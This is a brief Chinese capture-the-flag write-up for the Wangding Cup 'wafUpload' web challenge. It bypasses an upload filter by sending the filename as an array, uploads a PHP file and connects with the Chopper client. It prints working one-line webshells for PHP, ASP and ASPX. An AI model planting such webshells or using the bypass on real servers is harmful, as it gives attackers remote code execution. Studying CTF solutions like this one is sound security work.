解网鼎杯一道web题（wafUpload）

思路：burpsuite截取post数据包，上传木马，菜刀连接。

截取上传的数据包，对filename参数使用数组绕过，上传php.php,同时得到php.php路径。

附：
PHP一句话木马：<?php @eval($_POST['key']);?>
ASP一句话木马：<%eval request['key']%>
ASPX一句话木马：<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>

配置菜刀：右键添加输入木马文件地址，和post参数。

连接成功，拿到flag文件。病毒